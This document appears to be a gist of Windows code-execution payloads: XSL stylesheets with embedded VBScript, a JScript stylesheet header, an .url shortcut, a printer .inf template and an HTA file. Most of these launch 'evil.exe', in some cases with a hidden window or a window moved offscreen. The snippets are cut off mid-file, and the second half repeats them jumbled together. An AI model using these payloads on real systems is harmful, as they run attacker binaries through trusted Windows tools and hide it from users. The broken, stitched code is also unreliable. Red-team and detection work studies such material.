fareedfauzi

## vbscript.xml
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "evil.exe",0
myFunction = 0

## jscript.xml
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
<!--
	From:
		https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl
-->

## argv1.xml
<a></a>

## evil.url
[InternetShortcut]
URL=file:///c:\windows\system32\evil.exe

## evil.inf
; ----------------------------------------------------------------------
; Required Sections
; ----------------------------------------------------------------------
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer

[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64

## evil.hta
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "evil.exe"
self.close
</script>
	<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:user="urn:my-scripts">

	<msxsl:script language="VBScript" implements-prefix="user">
	function myFunction()
	set shell=createobject("wscript.shell")
	shell.run "evil.exe",0
	myFunction = 0
	<?xml version='1.0'?>
	<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:user="http://mycompany.com/mynamespace">
	<!--
	From:
	https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl
	-->
	; ----------------------------------------------------------------------
	; Required Sections
	; ----------------------------------------------------------------------
	[Version]
	Signature=$CHICAGO$
	Provider=test
	Class=Printer

	[Manufacturer]
	HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
	<HTML>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<HEAD>
	<script language="VBScript">
	Window.ReSizeTo 0, 0
	Window.moveTo -2000,-2000
	Set objShell = CreateObject("Wscript.Shell")
	objShell.Run "evil.exe"
	self.close
	</script>